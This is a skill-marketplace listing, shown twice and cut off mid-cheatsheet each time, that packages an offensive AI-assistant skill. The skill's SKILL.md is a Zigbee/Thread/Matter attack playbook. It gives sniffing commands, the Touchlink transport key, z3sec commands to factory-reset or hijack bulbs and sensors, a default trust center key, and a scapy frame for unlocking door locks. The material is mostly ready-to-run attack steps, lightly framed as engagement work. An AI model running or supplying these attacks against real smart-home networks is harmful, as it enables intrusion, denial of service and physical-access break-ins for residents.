offensive-zigbee-thread-matter

Name: offensive-zigbee-thread-matter
Author: SnailSploit

2.8kstars447forks

How to install offensive-zigbee-thread-matter?

snailsploit/claude-red/offensive-zigbee-thread-matter

$npx -y skills add SnailSploit/Claude-Red --skill offensive-zigbee-thread-matter

Installs into the current project.

Summary

Zigbee, Thread, and Matter mesh-protocol attack methodology — IEEE 802.15.4 sniffing with TI CC2531 / CC2540 / Sonoff Zigbee Dongle E, KillerBee toolkit, Touchlink commissioning abuse with the well-known transport key, replay/injection attacks, Zigbee Cluster Library command abus

Files · 1

View on GitHub

SKILL.md

1	# Zigbee / Thread / Matter Attacks
2
3	802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.
4
5	## Quick Workflow
6
7	1. Sniff target frequency (channels 11–26 in 2.4 GHz)
8	2. Identify network coordinator and joining devices
9	3. For Zigbee: try Touchlink commissioning with the well-known key
10	4. Capture join-key exchange when devices commission
11	5. Replay or inject ZCL/ZHA cluster commands
12
13	---
14
15	## Hardware
16
17	\| Adapter \| Use \|
18	\|---\|---\|
19	\| TI CC2531 USB stick \| Cheap, works with Zigbee2MQTT, KillerBee \|
20	\| TI CC2540 / CC2652 \| Zigbee + Thread + BLE \|
21	\| Sonoff Zigbee Dongle E (CC2652P) \| Modern, well-supported \|
22	\| ApiMote (KillerBee dev) \| Multi-channel, scapy-dot15d4 \|
23	\| HackRF + appropriate firmware \| Lower-level RF flexibility \|
24
25	## Discovery + Sniffing
26
27	```bash
28	# KillerBee suite
29	zbstumbler -i 0 # find Zigbee networks
30	zbid # ID coordinators
31	zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap
32
33	# scapy-dot15d4 for crafted frames
34	python3
35	>>> from scapy.contrib.dot15d4 import *
36	>>> sniff(iface='/dev/ttyACM0', count=50)
37	```
38
39	In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.
40
41	## Touchlink Commissioning Abuse
42
43	Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a well-known transport key:
44
45	```
46	0x9F559A553B7A6B2C5C4FBB4E84956F3D
47	```
48
49	Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.
50
51	```bash
52	# z3sec — Zigbee 3 commissioning attack toolkit
53	git clone https://github.com/IoTsec/Z3sec
54	python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
55	python z3sec_inter_pan.py --command "join_network" --network <PANID>
56	```
57
58	Outcomes:
59	- Factory-reset victim devices remotely (DoS / mass disrupt)
60	- Steal lights / sensors into attacker network
61	- Read network keys after joining device-to-network
62
63	## Network Key Capture During Joins
64
65	```bash
66	# Capture coordinator + joining device exchange
67	zbdump -c <ch> -w join.pcap
68
69	# Decrypt if you obtain the trust center link key
70	# Older Zigbee 1.x networks used a default trust center link key:
71	# ZigBeeAlliance09
72	# Modern networks use device-specific install codes
73	```
74
75	Once you have the network key, all traffic on that mesh is decrypted in Wireshark.
76
77	## ZCL / ZHA Cluster Command Abuse
78
79	Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:
80
81	```python
82	# scapy-dot15d4 frame to unlock a door lock
83	from scapy.contrib.dot15d4 import *
84	from scapy.contrib.zigbee import *
85
86	frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
87	sendp(frame, iface='/dev/ttyACM0')
88	```
89
90	The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.
91
92	## Thread Specifics
93
94	Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.
95
96	- Network credential is a commissioner-distributed PSKc
97	- Devices join with the commissioner present
98	- Mesh commissioning protocol is over UDP/CoAP
99
100	Attack surface:
101	- PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)
102	- Reusing a leaked credential to join target network
103	- 6LoWPAN routing attacks (rank manipulation, sinkhole)
104
105	## Matter Commissioning
106
107	Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:
108
109	- QR code or manual setup code grants commissioning permission
110	- Bluetooth LE used for initial commissioning
111	- Subsequent communication over Wi-Fi or Thread
112
113	Attack surface:
114	- Setup-code reuse / replay if commissioning window not closed
115	- BLE-MITM during initial commissioning (see `offensive-bluetooth-ble`)
116	- Fabric-attestation flaws in early implementations
117
118	## Detection
119
120	- Coordinator may log unexpected device joins
121	- Hub apps surface "new device" notifications — commonly ignored by users
122	- Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4
123
124	## Engagement Cheatsheet
125
126	```bash
127	# 1. Identify networks + channels
128	zbstumbler -i

People who liked this also viewed

6 picks

Type

offensive-zigbee-thread-matter

2.8kstars447forks

View on GitHub

How to install offensive-zigbee-thread-matter?

snailsploit/claude-red/offensive-zigbee-thread-matter

$npx -y skills add SnailSploit/Claude-Red --skill offensive-zigbee-thread-matter

Installs into the current project.

Summary

Files · 1

View on GitHub

SKILL.md

1	# Zigbee / Thread / Matter Attacks
2
3	802.15.4-based mesh protocols underpin most "smart home" devices. Zigbee is widely deployed and has well-known crypto-key-reuse issues; Thread (modern, IPv6-based) ships with stronger defaults; Matter unifies their commissioning model with stronger crypto but still has implementation pitfalls.
4
5	## Quick Workflow
6
7	1. Sniff target frequency (channels 11–26 in 2.4 GHz)
8	2. Identify network coordinator and joining devices
9	3. For Zigbee: try Touchlink commissioning with the well-known key
10	4. Capture join-key exchange when devices commission
11	5. Replay or inject ZCL/ZHA cluster commands
12
13	---
14
15	## Hardware
16
17	\| Adapter \| Use \|
18	\|---\|---\|
19	\| TI CC2531 USB stick \| Cheap, works with Zigbee2MQTT, KillerBee \|
20	\| TI CC2540 / CC2652 \| Zigbee + Thread + BLE \|
21	\| Sonoff Zigbee Dongle E (CC2652P) \| Modern, well-supported \|
22	\| ApiMote (KillerBee dev) \| Multi-channel, scapy-dot15d4 \|
23	\| HackRF + appropriate firmware \| Lower-level RF flexibility \|
24
25	## Discovery + Sniffing
26
27	```bash
28	# KillerBee suite
29	zbstumbler -i 0 # find Zigbee networks
30	zbid # ID coordinators
31	zbdump -c 11 -w zigbee.pcap # dump channel 11 to pcap
32
33	# scapy-dot15d4 for crafted frames
34	python3
35	>>> from scapy.contrib.dot15d4 import *
36	>>> sniff(iface='/dev/ttyACM0', count=50)
37	```
38
39	In Wireshark with the dot15d4 + zbee_nwk dissectors, you'll see frame counters, network keys (if joined), and ZCL commands.
40
41	## Touchlink Commissioning Abuse
42
43	Touchlink (used by Zigbee 3.0 commissioning, especially in lighting) uses a well-known transport key:
44
45	```
46	0x9F559A553B7A6B2C5C4FBB4E84956F3D
47	```
48
49	Many consumer Zigbee bulbs / strips accept Touchlink commissioning from any nearby radio with this key — joining them to your network or stealing them from theirs.
50
51	```bash
52	# z3sec — Zigbee 3 commissioning attack toolkit
53	git clone https://github.com/IoTsec/Z3sec
54	python z3sec_inter_pan.py --command "factory_reset_request" --device <addr>
55	python z3sec_inter_pan.py --command "join_network" --network <PANID>
56	```
57
58	Outcomes:
59	- Factory-reset victim devices remotely (DoS / mass disrupt)
60	- Steal lights / sensors into attacker network
61	- Read network keys after joining device-to-network
62
63	## Network Key Capture During Joins
64
65	```bash
66	# Capture coordinator + joining device exchange
67	zbdump -c <ch> -w join.pcap
68
69	# Decrypt if you obtain the trust center link key
70	# Older Zigbee 1.x networks used a default trust center link key:
71	# ZigBeeAlliance09
72	# Modern networks use device-specific install codes
73	```
74
75	Once you have the network key, all traffic on that mesh is decrypted in Wireshark.
76
77	## ZCL / ZHA Cluster Command Abuse
78
79	Zigbee Cluster Library defines on/off/level/lock clusters. With network key, you can issue commands as any device:
80
81	```python
82	# scapy-dot15d4 frame to unlock a door lock
83	from scapy.contrib.dot15d4 import *
84	from scapy.contrib.zigbee import *
85
86	frame = Dot15d4FCS()/Dot15d4Data()/ZigbeeNWK(...)/ZigbeeAppDataPayload(...)/ZCLDoorLock(...)
87	sendp(frame, iface='/dev/ttyACM0')
88	```
89
90	The same primitive opens locks, toggles switches, dims lights, or floods the network with control traffic.
91
92	## Thread Specifics
93
94	Thread (used by Apple HomePod, Nest, Eero) uses 802.15.4 with IPv6 (6LoWPAN) and stronger commissioning crypto.
95
96	- Network credential is a commissioner-distributed PSKc
97	- Devices join with the commissioner present
98	- Mesh commissioning protocol is over UDP/CoAP
99
100	Attack surface:
101	- PSKc theft from commissioner devices (mobile app companion, Apple Home, Nest app)
102	- Reusing a leaked credential to join target network
103	- 6LoWPAN routing attacks (rank manipulation, sinkhole)
104
105	## Matter Commissioning
106
107	Matter unifies Zigbee/Thread/Wi-Fi device onboarding under one commissioning model:
108
109	- QR code or manual setup code grants commissioning permission
110	- Bluetooth LE used for initial commissioning
111	- Subsequent communication over Wi-Fi or Thread
112
113	Attack surface:
114	- Setup-code reuse / replay if commissioning window not closed
115	- BLE-MITM during initial commissioning (see `offensive-bluetooth-ble`)
116	- Fabric-attestation flaws in early implementations
117
118	## Detection
119
120	- Coordinator may log unexpected device joins
121	- Hub apps surface "new device" notifications — commonly ignored by users
122	- Wireshark/Sonoff captures from defenders are rare — most environments don't monitor 802.15.4
123
124	## Engagement Cheatsheet
125
126	```bash
127	# 1. Identify networks + channels
128	zbstumbler -i

People who liked this also viewed

6 picks

Type